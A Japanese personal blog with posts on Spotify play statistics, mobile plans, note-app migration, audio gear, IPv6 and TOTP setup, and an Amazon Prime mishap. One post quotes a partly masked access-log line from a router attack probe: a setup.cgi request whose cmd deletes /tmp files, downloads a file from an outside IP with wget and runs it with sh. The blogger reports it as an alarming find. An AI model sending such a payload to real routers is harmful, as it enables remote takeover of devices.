といつも思っているのだが、今聴いたら全然そうじゃなくて、狐につままれた感じだ。別の曲? 酔っているせい?? まあ、いずれにしても終わり方がいい(「秀逸」ってやつか)ことは確かだ。理論・論理的な説明はできないが、こういう終わり方はなかなかできないと思う(そんなことないと思ったら、探してみて欲しい)。何というのか、ただ普通・おざなり・テキトーには終わってない。何かを感じさせるのだ。

分からないなりに考えると、和音の構造なのかも知れないと、今思った。最後の音は素直な和音ではない(かといって、不快さを感じさせるほどの不協和音でもない)のかも知れない。その さじ加減がすごかったのかも知れない。 (全部想像ですw)

ただ、これが彼女の唯一のヒット作になってしまった感があるのは、なかなか複雑な心境だ。

 

PS. 「展覧会の絵」が出たので、ちょっと書きたかったことをついでに。近々出るらしいスティーブ・ルカサーの新作のジャケットの彼の顔はまさに「危ないムソルグスキー」(これの背景も知りたい)って感じで、一体どうしちゃったのかと思う。意識した訳でもないと思うが・・・

  •  0
  •  0

結構前から、モバイルの料金を安く出来ないか検討している。近頃はアハだかアホだかいう、大手キャリアにしては随分割安なプラン(自称w)も出たが、僕は20GBなんて使わないからもっと安いプランが欲しい。

少し前までは0SIMがあったのだが、遅過ぎとか余りにも評判が悪いので いつも二の足を踏んでいたら、なくなってしまった。

今はMVNOで、500MB/月で1200円(通話ありプラン)くらいのプランだから、同じ容量で500円くらい(「ワンコイン」)になればありがたい。

と思ってもまず無理だ。というのは、通話の基本料だけで700円くらい取られるので、全部で500円だったらマイナスになってしまう。じゃあ、MVNOじゃないキャリアならやればできるが、まあやらんでしょう・・・ (もしやったら、すぐにでも移るよ!!)

可能性としては、通常の電話は省き(データ契約だけにする)、代わりにIP電話(もちろん、基本料無料)の使い勝手を「普通の電話」にすることだろうか。それなら、コスト的には今すぐにでもできそうだ(そういう使い勝手を実現するのは難しそうだが)。: これは楽天のやり方に近そうだ。

あと、仮に今よりちょっと安いプロバイダがあったとしても、どうせ事務手数料が掛かるから、なかなかペイしない。MNP転出料(約3000円)は無料になる(させられる)方向のようだが、最初の契約料(これも約3000円)は、まあタダにはならないだろう。その場合、仮に900円/月のプランがあったとしたら、手数料の3000円を回収するのに10か月くらい掛かる(今は転出にもお金が掛かるから20か月とかになって、余りにも効率が悪い)。それでも10か月(1年以内)で回収できるならまだいいが、いろいろ面倒な手続きがあるから、余り乗り気にならない。

という訳で、ワンコインプラン(通話あり)を切望する今日この頃。どこかやらないかな・・・

 

PS. ところで、そのahamoはネットでしか契約できないようだが(と言いつつ、すぐに「窓口でも無碍にしないかも?」みたいな、日本人的な曖昧な言い訳も出て来て、やっぱり馬脚を露わしたなと思った。そういうことするから効率が上がらんのだよ)、PCもスマフォも持っていない(せいぜい黒電話w)「ずぶの素人」※が契約することは不可能なのだろうか? 郵便での申し込みは可能なのだろうか。僕には全く関係ないけど、つまらないことが気になった。鶏と卵だなw

※まあでも、仮にそういう人が一念発起しようとしても、僕は全然勧めない。親にも勧めていないのだが、すぐに詐欺などに引っ掛かったり、スマフォを破壊(特にソフト的に)しそうではないか。要するに、スマフォはそういう人たちからは100マイルあるいは100光年くらい離れていて容易には追従できないってことだ。結構勉強しないと危な過ぎる。免許制度でも欲しいくらいだ。

  •  1
  •  0

昨日、EvernoteからJoplinへの移行が終わった。バッチ変換スクリプトを作り、実行とデバッグの繰り返しで、完成する頃に変換が終わったw ノート数が約760と多いので細かいチェックはできない(し、するつもりもないw)が、ピンポイントで見た感じでは大丈夫そうだ。おもしろいことに、合計のファイルサイズは変換前後で約580/570MBとほとんど同じだった。まあ、ノート本体はHTML(ENML)かMDかの違いだけで、容量の大半は画像だからなのだろう。

それはともかく、最初の頃に変換したノートをチェックしていて、思わぬ事実を再発見した。

今のアンプ(SAYA SP192AB)に換えた直後(2015年)に、ごく短い間ではあったが、耳が痛くなっていたのである。

ということは、つい最近までずっと悩まされてきた耳痛や耳閉感は、アンプにも関係があるのだろうか? もし関係があるとしたら、どういうことなのだろうか?

  • アンプの特性が悪くて、ある条件で音が劣化する、あるいは、スピーカーのドライブ能力が低いために音が劣化して、耳が痛くなる。
  • アンプの特性が良くて(スピーカーのドライブ能力が高い?)、イコライザでの音の劣化や定在波の帯域が(弱まらずに)そのまま出るために耳が痛くなる。

記憶の限りでは、以前のアンプ(Marantz PM-17SA)では起こっていなかった気がするが。いや、グライコ(Behringer DEQ2496)で調整量を増やし過ぎた時に耳が痛くなったので、そうでもない。そもそも、今のアンプとグライコの導入順序も曖昧だ。 → このブログで調べたらグライコが先だったので、以前のアンプでも耳は痛くなっていた。

そうすると、イコライザの種類・調整の仕方での音の劣化(これもなかなかの謎)で耳の痛みが起こるのは確かだが、今のアンプに換えた直後に耳が痛くなった理由は分からない(換えた時にはイコライザはいじっていないので)。

  • アンプにエージングが必要だった。 (理由: その後少ししたら、痛みは治まった)
  • スピーカーの接続方法が悪かった。 (理由: 最初は被覆を剥いたケーブルをネジで留めていたが、余り良く締められなかった。それでも、接触不良になっていたとは思えないが。)
  • 納品直後のアンプの電源コネクタに問題があって(理由: 嵌りが緩かった。 → 接触不良になっていた?)、大電流が流れる時に音が劣化していた?
  • 自分の慣れ(これも一種のエージング?)が必要だった。 (理由: アンプの特性が変わったため?)
  • 上記のアンプの特性の件
    • 今のアンプの特性が悪い場合: 音がいいと思っていたのは錯覚だったのか? (ある条件(超低域の音量)を外せば問題ない?)
      • 超低域だとしたら、電源が弱いのか? とすると、電源コネクタの可能性が高く、それは直っているから、今はアンプ起因での痛みが起こらないのは腑に落ちる。
    • 今のアンプの特性がいいということは、以前のアンプは決して特性が悪かったとは思えないから、なさそうだ・・・

なかなか確かめようがない。今のより「いい」アンプを買うくらいしか考え付かないが、壊れない限り ありえない。まあ、当面はアンプや自分のエージングや初期の問題だったと思うことにしよう。

でも、気になるな・・・

 

PS. 一方で、近頃は以前にも増して音の細部が良く聞こえて、かなりいい音だと感心・(自己)満足しているのだが、これは幻覚か本当か?? オーディオの音質の良し悪しでなく、自分の耳の調子が良くなったのかも知れない。

  •  1
  •  0

年末の風物詩?、Spotifyから今年のまとめ、「音楽で1年を振り返ろう。」が届いた。残念ながら去年より簡素になってしまって、去年は自分用のwebページに華々しく記録が書かれていたのだが、今年はちょっと賑やかなメールだけになり、送られて来る記録的な内容は聴いた(掛けた)時間(62,262分 → 約2.8時間/日)だけで曲数(延べもユニークも)は分からない。他には各自のプレイリスト"Your Top Songs 2020"で順位を参照できるだけになった。その順位が何に基づくのか(例: 再生回数)も分からない。: (Amazonだけでなく、)Spotifyも作っている人が変わったのか、経営状態が良くないのか。

まあ、そういうこともあろうと(でもないが)、僕にはMlhiという自作の再生履歴記録システムがあるので、履歴は ばっちり記録されている。その活用については下に書く。

Spotifyによれば、今年最も再生した曲は、意外にもポールとスティーヴィー・ワンダーの"Ebony and Ivory" (1982)だった。確かに良く掛かっていた気はするし、嫌いな歌ではない。ちなみに、マイケルとの"Say say say" (1983)も好きだが(当時は嫌いだったw)、なぜか10位以内には入っていなかった。参考までに5位までを載せる。それぞれに、Mlhiで調べた再生回数(後述)も示した。

  1. Ebony and Ivory (Paul McCartney & Stevie Wonder, 1982)
    • 全96回 (2020年: 79回)
  2. My love (Wings, 1973)
    • 全85回 (2020年: 74回)
  3. Band on the run (Wings, 1973)
    • 全78回 (2020年: 72回)
  4. Jet (Wings, 1974)
    • 全73回 (2020年: 70回)
  5. Maybe I’m amazed (Paul McCartney, 1970)
    • 全72回 (2020年: 69回)

と、まあ、見事なほど「ポール一色」だ。いや、嫌いじゃないけど大好きって訳でもないんだが・・・ なお、10位までには、他にELOとBad fingerしか入っていない。ビートルズはどうしたんだろうか??

それから、去年はどうだったかというと(去年のブログの画像より)、

  1. The power of love (Huey Lewis & the News, 1985)
  2. 初恋 (村下孝蔵, 1983)
  3. More than a feeling (Boston, 1976)
  4. 夏をあきらめて (研ナオコ, 1982)
  5. Mr. サマータイム (サーカス, 1978)

全然違う。。。 気付いていなかったが、今年は去年から10年くらい過去にさかのぼって70年代がメインだったようだ。あと、去年はなぜか、熱・暑(苦し)そうwとか夏っぽい歌を良く聴いていたようだ。

 

もちろん、ここまででは終わらないw 今年のプレイリスト(順位)を見ていて、再生回数の順位なのか順不同なのか分からなかった(プレイリストに再生回数が出ていない)ので、Mlhiで調べてみた。Mlhiのwebで検索したりDBにアクセスすれば再生回数は簡単に出るが、「最初」からの回数なので、今年の分は手で計算した。すると、概ねSpotifyの順位に合っていたので、Spotifyは再生回数でソートしたようだ。

ところで、調べていて、妙なことがいくつかあった。

"Ebony and Ivory"はMlhiには2つの曲(演奏)が入っていて、Spotifyのリストに載っていた演奏は全44回だが、もう一つ(SpotifyのIDが異なる)は全52回だった。※ なので、Spotifyはどうにかして「実質的に同じ演奏」を統合してカウントしているようだ。

※なお、それらは異なるアルバム(オリジナルとベスト盤)に入っており、リマスタリングしたせいか、ISRCも異なっている。また、Spotifyのリストはベスト盤のを載せていた。

"Maybe I’m amazed"は、最初はMlhi(webもDBも)では検索できなかった。いろいろ試すと、 ' の文字が違うためだった。分かるかどうか分からないが、 ' には開き、閉じ、垂直なものの3つがあり、この曲の表記(閉じ?)とキーボードから入る文字(垂直)が異なるために検索に出てこなかったのだ(曲名をSpotifyからコピー・ペーストしたら出て来た)。他には " も同様だし、Unicode全体だともっと多そうで、結構深そうな問題だ。

そう言えば、論外な話だが、日本語の曲名の濁点を " にしてしまって、「眼(まなこ)はタ"イアモント"」(あくまでも仮の例)のように出る、残念な曲もあった(それだけでなく、カタカナを半角にしていた気もする・・・ ← 別の曲だったかも知れない)。日本のレーベルが配信に出す時にテキトーに打ち込んでしまったのか(さすがにないか)、そのレーベルが元々そういう残念な管理なのか、そして、(書いたあとで気付いたのだが、)半角カタカナを全角に直した名残りなのか。いずれにしても、これでは全然検索できない・・・

余談だが、こういうのは日本だけかというと実はそうでもなさそうで、海外ではdiacritical mark(ウムラウトなど)の表記方法(特に、別の文字で代替する場合)もいろいろあるようで、そこで問題になりそうだ。

更に謎なのは、10位だった"Listen to what the man said" (Wings, 1975)はMlhiのwebでは検索できなかった。確かにDBには入っているのだが。いろいろ調べると、どうやら、近頃Spotifyの演奏が新しい版に入れ替わったためのようで、Spotifyの検索をしないようにしたら出て来た。

DBに入っているものと2020年のリストに入っているのは"Listen To What The Man Said - 1993 Digital Remaster" (ISRC:GBCCS0700283)だが、今Spotifyで検索して出て来るのは"Listen To What The Man Said - Remastered 2014" (ISRC:GBCCS1400011)である。

音楽配信はダイナミックに中身が変わることの典型だろうが、これも意外に深そうだ。再生すると確かに同じ曲が演奏されるが、以前聴いたものとは違う版だということが起こる。この曲は以前の版も残っているが、完全に置換されてなくなっているものもあるだろう。そこにこだわるマニアは、CDなどを買って それぞれの版を手元に残す必要が出て来る(が、僕はもういい)。

 

ついでに、Mlhi全体、つまり、Spotifyとgmusicbrowser(以下GMB)を合わせた順位を調べてみた。これもDBで簡単に出せる。ただし、記録フォーマットの関係で今年だけの分を抽出するのは面倒なので、「最初」から(Spotifyは2019年から、GMBは2016年から)にした。また、テストで何度も少し掛けた曲があるので、再生回数でなく、完奏率×再生回数(→ 「好き度」みたいなもの? または、何度掛けても途中で止めなかった → 気に障らなさ → 当たり障りのなさ?= 「ポップ度」??)で順位を付けた。それぞれの曲名の下の数字は完奏率×再生回数である。

  1. My love (Wings, 1973)
    • Spofity, 86.0
  2. Come together (The Beatles, 1969)
    • GMB, 85.8
  3. Band on the run (Wings, 1973)
    • Spofity, 75.15
  4. Here comes the sun (The Beatles, 1969)
    • GMB, 74.7
  5. Piano concerto No.2 in C minor Op.18 : III Allegro scherzando (Lugansky, 2005)
    • GMB, 74.45

やっぱり、意外なほどポールが強いw そして、ビートルズはGMBで聴くことが多かったようだ。また、大好きなルガンスキーのラフマニノフのピアノ協奏曲もGMBで聴いている。

参考までに、上の順位は以下のようなSQLで出した。

select track_id, title, artist, album, 
  played_full_tot, played_full_tot/played_cnt, played_cnt 
from trk_info_hist
where played_full_tot is not null
  and played_full_tot <= played_cnt
order by played_full_tot DESC limit 0,20;

 

再生履歴をDBに記録しておくと、(趣味的に)おもしろく便利だ。一方で、「年ごとの順位を手軽に出したい」といったようないろいろな要望や思わぬバグも出て来て、なかなか先は長い。 (でも、記録していることに安心して、なかなか手を付けないw)

 

PS. MlhiのDBに登録された曲は8千曲近くなった(去年の中頃から記録し始めたため、去年の今頃は4500曲だった)。DBのサイズも大きくなって、約5MBになった。それでも、まだまだ小さいうちだから問題なさそうだ。

  •  0
  •  0

先日気になった、スリープからの復帰後に、EvolutionがIPv6(以下v6)でなくIPv4(以下v4)を使ってしまう件だが、やはり、v6とv4の初期化時間の違いによるようだ。

今日、後述の処理の有効性を調べるため、一旦ネットを全部無効にして、手でv6とv4を順番に有効にしようとしてみたら、v6の初期化が全然終わらず、設定間違いや何かのバグで停まっているのかと思った。しかし、実は処理は続いていて、忘れた頃に有効(使用可能)になった。と言っても何十分も掛かる訳ではなく10秒くらいだが、体感としては随分遅い。

処理時間が違う理由を考えてみると、僕のデスクトップPCでは、v4はローカルな固定IPアドレスなので、初期化時間はほぼ0だが、v6はプロバイダの設備やルータと相談しながらアドレスを振っているからだろうと思われる。更に、先日使い始めたプライバシー拡張も遅くなる一因なのかも知れない。元々v6は複雑で重いのが、更に遅くなるのだろうと想像する。

という訳で、初期化の時間差はどうにもならないけれど、それでも意地でもEvolutionにv6を使わせたくなってしまい、次のような処理を考えた。

  • EthernetのNW-IFとして、v6専用とv4専用の2つを作る。
    • どちらも物理IFは同じ(ルータに繋がる)なので、片方は仮想的なものにする必要があり、v4をaliasにした。
      • aliasの名前(suffix)は数字でなくてもいいようだったので、分かりやすくしようと":v4"にした(例: "eth0:v4")。駄目なら数字にすればいい。
  • スリープになる時は、まずv4専用NW-IFを無効にし、そのあとでv6専用NW-IFを無効にする。
    • Linuxのマニュアルを読むと、本来のNW-IF(ここではv6専用NW-IF)を無効に(ifdown)すると、aliasも無効になると書いてあるが、先にaliasを無効に(削除)しておかないと内部に残骸が残ってしまうようで、次(復帰時)にaliasが作れなくなってしまったので、このようにしている。
  • スリープからの復帰時には、まずv6専用NW-IFを有効にし、そのあとでv4専用NW-IFを有効にする(aliasを作る)。
    • 念のため、v6の初期化のあとで0.5秒待ってから、v4専用NW-IFを有効にするようにした。
    • OSの起動時も同様である。

こうすることで、スリープからの復帰時に、(スリープ中にメールチェック間隔が過ぎたために)ネットが使えるようになるのを手ぐすね引いて待っているEvolutionは、v6専用NW-IFが使えるようになった時点でそっち経由で通信し出すと考えた。

なお、Evolutionがネットの状態をチェックしないようにしたら、スリープからの復帰後はエラーなどを出さずに全然メールチェックしなくなってしまったので、PCをスリープさせる場合でも意図してv6を使わせ続けるには こういう処理が必要そうだ。

本来は、スリープからの復帰後にタイムアウトで通信を中断し、エラーを出すとかリトライすべきなのだが、Evolutionはなぜか だんまりを決め込んでしまうようだ。あるいは、タイムアウトが長過ぎる(数時間?)のだろうか?

実装してみたら、(例によって随分試行錯誤したが)うまくいった。明日、(寝ている間の)長時間スリープ後の結果を見るまでは確定しないが(→ 12/4の朝に問題なかった。: 12/4 9:49)、今はめでたく、通常時は自分のサーバ関連のv4の使用ポート数が0になった。

 

とは言え、冷静に考えれば、そこまでv6を使う意味はミリもないのだが、気分とか趣味(v6が好きだからでなく、「きちんとしたい」みたいな、あるいは、「僕の目の黒いうちは、Evolutionなんかには好き勝手はさせねえぜ」w)的な理由で頑張ってしまった。すなわち、冷静じゃないってことだw

  •  1
  •  0

夕方にSpotifyが時々音切れして直らないので、アプリを再起動したら、なぜか、SpotifyのDaily mixが様変わりして、今までは1-6までプレイリストがあったのに、アーティスト名のものだけになっていた(参考: 昔の状態)。そういえば、今朝辺りから やたらにビートルズが掛かっていたのは、それだったのか。

まあ、それに気づかず「Spotifyも僕の好みが分かってきたじゃん」と思って居たから結果的にはいいけどw、なくなってしまうと寂しいし、アーティストのプレイリストは今までの数字のものとは全然違うものだから困る。

Androidアプリでも同様だったので、システムのトラブルか仕様変更か。ただ、検索しても誰もそれに触れていないようなので、僕だけの問題なのかも知れない。

もう少し様子を見よう・・・

なぜか、SpotifyのDaily mixが様変わりして、アーティスト名のプレイリスト(mix)だけになってしまった。

(12/3 8:42) 実は、Daily mixの名前の付け方が変わっただけなのかも知れない。つまり、今までは"Daily Mix 1"という番号の名前だったのを、"Queen Mix"のように、そのmix(プレイリスト)のメインとなるアーティスト(大抵は最初の曲のアーティスト)を名前にすることにしたのか。※ それなら、僕の選び方(最初の数曲で「グッ」と来るか)に合っているから歓迎だが、本当にそうなのか(何となく、名前の付いたアーティストに偏っている気がする)。プレイリストとは別に、各アーティストや曲などでのラジオ(例: "Queen Radio")もあるので ややこしい・・・

Spotifyの説明には、今も、「最大6個できる」とあり、確かにアーティスト名のプレイリストは6個ある。

 

なお、元々の音切れも原因が分からないが、通信速度を測ったら変動が大きいことがあったのと、今は直っているので、たまたまネットが混んでいたのかも知れない。

  •  0
  •  1

昨日、v6関係がうまく行っているかとwebサーバのアクセスログを見ていたら、偶然、何やら怖いものが目に入った(かなり伏せている)。

1ww.1xx.yy.zz - - [01/Dec/2020:AA:BB:CC +0900]
"GET /setup.cgi?next_file=!!!!!!!.cfg&todo=syscmd&
cmd=rm+-rf+/tmp/*;
wget+http://1ww.1xx.yy.zz:vvvvv+-O+/tmp/!!!!!!!;
sh+!!!!!!!&cur***=/&cur@@@@.htm=1 HTTP/1.0"

問題はcmd=...以降の部分で、最初は、これはひょっとして、"cmd=rm+-rf+/"(全ファイルの削除)でも行けるのではないかと思った。ただ、そうしてもルータが次回起動しなくなるだけだが、今見直すと、そのあとにwgetで外からファイルを送り込んで、sh以降でそれを実行していることに気付いた。

まあ、これは本当にルータの初期化とかファームウェアの更新の手順なのかも知れないが、乗っ取りにも使えそうではないか。そもそも、なぜ初期化とかのコマンドがこっちに来たんだ? 怖い・・・ (ちなみに、IPアドレスはC国だった)

とんでもないことができる、大穴の開いた製品だ。調べてみると、そのメーカー(海外のN社)のルータは結構前から今まで、脆弱性が沢山報告されているようだ。

今度買う時は、そういうことも調べないと安心できないな。

  •  2
  •  0

少し前の話だが、2要素認証のワンタイムパスワード(TOTP)生成用のアプリAuthyを止めた。それ自体は便利だったのだが、Linux版が嫌いなSnapというソフト配布システムを使っていて、Snapを止めるために止めることにした。

乗り換え先のアプリを検討したが、Authyのように、LinuxとAndoroidで動いてTOTP生成用データを共有・共用できるアプリはなかった。ただ、パスワードマネージャのKeePassXC(Linux)とKeePassDX(Android)はTOTPに対応しており、それらはクラウド経由でデータが共有できるので、使えそうなことが分かった。

一方、同じアプリでパスワードとTOTPを管理するのでは、2要素認証の意味がなくなって脆弱な気がしたので、次の方針にした。

KeePassXCとKeePassDXでパスワードとTOTPを管理するが、マスターパスワードの異なる別のDBに格納する。

そのため、実際のログイン時の操作は少し面倒で、以下のようになる。

  1. パスワードのDBを開き(パスワードDBのマスターパスワードを入れる)、目的のサイトなどにユーザ名とパスワードを入力する。
  2. 2要素認証のサイトではTOTPのDBを開き(TOTP DBのマスターパスワードを入れる)、目的のサイトなどにTOTPをコピー・ペーストする。

マスターパスワードが増えて なかなか面倒だ(その他にもPCやサーバのログインなどのパスワードがあり(これらもDBに入っては居るが、開くのが面倒なので覚えている)、記憶の上限に近くなっていて、時々こんがらがる)。Linux対応の指紋読み取り装置があれば使えるだろうか? 他にもっと便利な仕組みはあるだろうか?

近頃はFIDOとかいうのが有名だが、名前しか知らない。 → LinuxではYubiKeyというのが使えるそうだ。それを買うのもいいが、スマフォの指紋読み取りシステム・デバイスをLinuxにも使えれば手軽でいいが・・・ (これはおもしろそうだが、セキュリティ的にはどうなんだろうか? それに、きっと「root化」しないと無理だろう。)

なお、Andoroidには(TOTPには対応していないが)上記のアプリとDBが共用できるKeepass2Androidというパスワードマネージャもある(KeePassDXの前に使っていた)ので、パスワードはKeepass2Androidで、TOTPはKeePassDXでアクセスすることにして、アプリ内でDBを切り替える手間を省いた(KeePassDXは切り替えが面倒)。それから、Andoroidでは指紋認証でDBが開けるのでLinuxよりは楽だ。ただ、指紋を共用することで2要素認証の意味がなくなる気がしないでもないことに今気付いたが、どうなんだろう?

 

それから、以前も書いたが、Authyはデータをエクスポートできないので、移行する際は、Authyに登録している全部のサイトのTOTPを設定し直す手間があった。また、退会を申し込んでも30日間は保留され、毎週リマインダのメールが来るのが結構鬱陶しい。

  •  1
  •  0

今朝、Amazonでノンアルコールビール(今回はホッピーの黒にした)を注文したら、「プライムを無料でお試しに−」とかなんとか出たので、「また いつもの無料試用か」と思い、いつもはそんなに使わないからパスするが、今回は「折角だから」と申し込んだ。もちろん、入る時に「会費が*円掛かります」という確認はなかった(ボタンを押すだけ)が、何となく様子が違う感じで(何が違うとかはなくて、直感的なもの)、確かめたら、1か月500円の有料会員になっていた。(そんなプランがあったのか??)

確かに「無料」と見た気がするが、「(有料の)プライムに入れば、(そのうえで普段は有料の何かの追加サービスが)無料になる」ってことだったのかと、今は想像している。ただ、そのキャプチャはないし、下記のようにサポートに聞いても教えてくれなかったので、真相は藪の中だ。

「ぐぇー、失敗した」と思った。無料試用ってのは見間違いだったのかと思い、年会費と違って高くないので我慢しようと思った。が、やっぱり気分が悪いので、少ししてから、サポートに問い合わせた。チャットか電話しかなく、メールと違ってどっちも疲れるから嫌いなのだが、チャットにした。

相手は良く分かっていない感じで、30分くらい掛かってキャンセルできた。最後は「システムの間違いのようだ」とか言っていた(僕が騙された「無料試用」は、実際にはどういうメッセージを出したのか聞いたが、それについての回答はなく、システムのせいにしていた)。

チャットでムカついたのは、終わったら(話が終わったら、相手が一方的に終えたのもちょっと嫌だった)、それまでの対話の記録が消えてしまったことだ。証拠を残そうとキャプチャしようと思っていたのに、なくなってしまった。もしかしたら会員ページ(これも間違えやすいから嫌だ)から開けるのかも知れないが、わざわざ消すことにないのにと思う。チャットなら残ると思って安心していたのに。

まあ、Amazonは、近頃はいろいろなところが随分劣化したようだ。作っている人が変わったのかね・・・ そう言えば、全く関係はないが、AWSも頻繁に障害を起こしているから、Amazonが全体的に劣化しているのは確かそうだ。

ちなみに、ネット(の一部)では「Amazon終了・ヨドバシ最強」が定説になりつつあり、そのうえ、一般向け記事でも「ヨドバシは いい」みたいなのが出ていて、ということは そのうちヨドバシも駄目になりそう(例: 送料有料化)で、ちょっと嫌だ。

 

最後に:

Amazonの「無料」オファーには充分注意しましょう。あれは日本語じゃないので、落とし穴がないか十回くらい確認しましょう。

入る前にサポートに意味を確認するのがいいかも・・・

 

PS. ホッピーはもちろんヨドバシに注文した。少しくらい高くても、書いてあることが理解できて、騙される心配がないほうがいいに決まっている。以前からAmaとヨドをふらふらしているが、まあ、適応的にダイナミックに選択してるってことでw 転がる石には苔が生えないって言うしねwww

  •  1
  •  0

起こりうる問題の検討と対処が終わったので、このドメインをIPv4/v6両対応にしました。当然ながら、このブログも両方対応です。

とは言え、アクセスする側からは何も変化はありません(何もする必要もないです)。あったら駄目ですw IPv6が使えて、IPv4より優先されているクライアントからは、IPv6でアクセスされます。もし問題がありましたら、お知らせ下さい。

なお、確認のため、当面、ブログのページ最下部にサーバとクライアントのIPアドレスを表示するようにしています。アドレスがなんか見慣れなくて : が含まれている場合はIPv6で繋がっています。

 

PS. やっぱり、個人的には、鳴り物*も、したり顔でユーザーに押し付ける下らねえ作業(例: 良く、「Aにしたら最初にすること10個」みたいなクソページにある、「AではBはこうする」)もなしの、「気付いたら なってた」ってのが一番いい。(v6追加なんて全然ローンチじゃないが※、)「シームレスローンチ」とでも言うのだろうか?

*ファンファーレ、「パフパフ」、「ドンドン」とかティーザーとかカウントダウンとかシャンパンとかクラッカーとか花火? それはそれで面白そうだwww

※もちろん、日本語で「ローンチ」って言うのすら嫌いで、ここに書くのも嫌だったw そういう人たちとは住む世界が違うと思っている。

そういう意味では、IPv6はなかなかうまいことやっている(運がいい)。IPv6自体は全くうまくなかったが、手をこまねいているうちにOSなどが対応していて、日本に限ってだが、フレッツのPPPoEがクソになったという無関係な方向から圧力が掛かって、意外にうまい具合に移行が進んでいる感じだ(棚ぼた?)。

こんなの、当時は全然思ってもいなかったw (「こんな複雑なの、永遠に使われねーよ」と思って居た。: まあ、先見の明がなかったな)

  •  2
  •  0

サーバのIPv6対応の一環でブログ関係の対応チェックと調整をしたついでに、ページ表示が遅いのを改善してみた。

実は、今までにも、MySQLの調整をしてわずかに速くなった「気が」していたw

無駄な処理やコメントを省いたら、気のせいか少し速くなった。

それから ちょっと調べたら、想像どおり、OGP(Open Graph Protocol, 説明)の画像の読み込みでの遅れがかなり効いていたので、LazyLoadというプラグインを使って画像を遅延読み込みにした。スクロールさせると画像がワラワラ出るのは個人的には余り好きでないが、遅いよりは良かろう。

最初は、画像が大き過ぎる場合(OGPに幅1000画素以上とかサイズ数MBの画像が指定されている、馬鹿みたいなサイトが多い)は使わないことを考えたが、画像のサイズを取得する時に読み込むので速くならない。

あと、OGPの処理(+画像取得・表示)をJS(= ブラウザ)にやらせて非同期にすれば綺麗だしかっこいいし軽い(仕事を押し付けられたブラウザにすれば迷惑かもw)が、JSは苦手でなかなか面倒なので※、上記の遅延読み込みにして、結果的に非同期に近くなるようにした。

※探せば、OGPを上記のようにJSでやるようなプラグインがあるかも知れない。 → ちょっと探した限りでは、なさそうだ。

そうしたら随分速くなって、今までは最初に表示する時は1秒を超えることがほとんどだったのに、新しいページなら0.3秒くらいで出るようになった。まあ、処理を後回しにしているので当たり前ではあるが、余り手間を掛けずに3倍速くなったw

(12/2 18:41) その後、やっぱり遅いことがあることが分かった。1秒以上掛かることがある。画像の遅延読み込みでOGPは速くなっても、MySQLが遅い場合がありそうだ。別のDBに換えたいが、なかなかいいものがない・・・

  •  0
  •  0

Ceronに出ていて読んだら、爆笑した上に感心した。

宮崎駿が38歳で監督デビューした時の鬼畜エピソードクソワロタwwwwwww

彼のことはほとんど知らない(し、作品を好きでもなかった)が、読む限り(あと、あの老舗K書店のトップをクビになった太ったお兄さんを一喝した件も合わせて)、こういう人は「ジジイ」ではあるが、きっと、「老害」ではなさそうだ。

全くの想像だが、スズキの爺さんも近そうだ。

でも、一緒に居たら、きっとムカつくだろうから、「うるせージジイ!」って言いそうだw

 

(と、無事にネタを消化。今日のネタは今日消化する、まさに、地産地消。じゃないかw)

  •  0
  •  0

(題は微妙に違うかも。題と「毒を喰らわば−」と「背に腹は−」を足して3で割った感じかw)

先日の、IPv4(以下v4)だけがネットに繋がらなくなったトラブルの予防的対処のため、仕方なく、IPv6(以下v6)が使えるところは使って行くことにした。

いや、僕はそんな仕様はどっちでも良くて、そもそも「アドレス枯渇する・した」とか「遅いからv6にする」なんてのがおかしいと思って居るので、積極的にIPv6を使う気持ちはさらさらなかったのだが、ああいうトラブルがあると、さすがに全面移行とまでは行かないが、代替手段を用意して可用性を高めておく必要性を痛感したのだ。※ それが無料(自分の時間は別)で実現できるし、各アプリ・プロセスの通信速度が向上・安定する可能性がある(といっても、IPoEにしてから全体でも個々でも速度が遅いと感じたことはほとんどないが)から、まあ悪い話ではない。

※そもそも、可用性を高めることが必要なことをしているかどうかは別でw、「気分の問題」であろう。

それで、まずは、自分のサーバから始めた。サーバは、プロバイダがv6対応の環境で提供してくれていて、OSも対応しているので、設定すれば使える状態だったが、面倒なので今までは有効にしていなかった。

最初にサーバのv6関係の設定をした。普通にできて、デスクトップPCからpingが通った(v6のアドレスを直接指定した)。試しにwebサーバにアクセスしてみたが、通らなかった。Webサーバの設定をしていないので、v6では接続を受け付けていないためだ。

次に、設定を誤ると面倒なことになるwebサーバの、比較的単純な部分をv6対応の設定にした。試しにブラウザからv6のアドレスでアクセスしたら、例によって「怪しいサーバです。これ以上は駄目よんw」みたいなのが返って来て(HTTPSでSSL証明書がおかしいため)、めでたく繋がった。

それからDNSサーバにv6用のホスト名(サブドメイン)を登録した。今はv4とv6のホスト名を共通化する(同じ名前で両方に対応)のが一般的だろうが、予期できないさまざまな問題が起こりそうだったので(実際に問題は起こった(後述))、ひとまず別にした。作業としては、v6用のサブドメインにAAAAレコードだけを設定した。設定してから数分で反映され、ホスト名の検索(nslookupコマンドなど)に出るようになった。

次に、HTTPSをちゃんと使えるようにするために、Let's EncryptのSSL証明書にv6用のサブドメインを追加した。証明書の生成時にサーバの設定の調整が必要だった。証明書を作る時には、確認のためそのサーバにアクセスされるのだが、それを忘れていてwebサーバはHTTPSだけ有効にしていたが、真っ当な証明書(これを作ろうとしている!)がないのでアクセスされず、HTTP接続しようとして失敗した。それで、仕方なくHTTPも有効にして、無事(でもないけど)作れた。新しい証明書を作ってからブラウザでアクセスしてみたら、ちゃんと"404 Not found"が返って来た。

設定が複雑なので間違うと面倒なことになるブログは落ち着いてからにすることにして、まずは、普通のweb(BNoteを含む)とDAV(カレンダー・アドレス帳やJoplinで使っている)をv6対応にすることにした。とは言え、webサーバに関しては証明書を作るために調整してほとんど出来ているので、DAVサーバやクライアントアプリなどの設定変更や追加がほとんどだった。クライアント側の機器やアプリが多いので手間は掛かったものの、ほとんど問題なく終わり、ちゃんとv6でアクセスできるようになった。

とりあえずできたので、しばらく使って問題がないかをチェックすることにした。使っているうちに、以前から気になって居た、v6のプライバシーの問題※の解決策が見付かった。デスクトップPC(Linux)のv6の設定に、"IPv6 privacy extensions"というものがあるのに気付き、調べてみたら、僕の懸念を解消できそうなものだった。

※IPv6のアドレスは全世界でユニーク(かつ、不変なものもある)なので、そのクライアント(PCなど)からアクセスしている個人の特定や追跡が容易そうだという僕の懸念。

その機能を有効にし、モードを"Prefer temp. addr."にしたら、PCのv6のアドレスが増えた。今までのもの(通常のグローバルアドレス)に加え、一時アドレスが表示されている。このアドレスは通常のアドレスより秘匿性(?)が高いらしく、また、定期的に(1日-1週間のようだ※)変わるので、個人の特定や追跡が困難になるとのことだ。
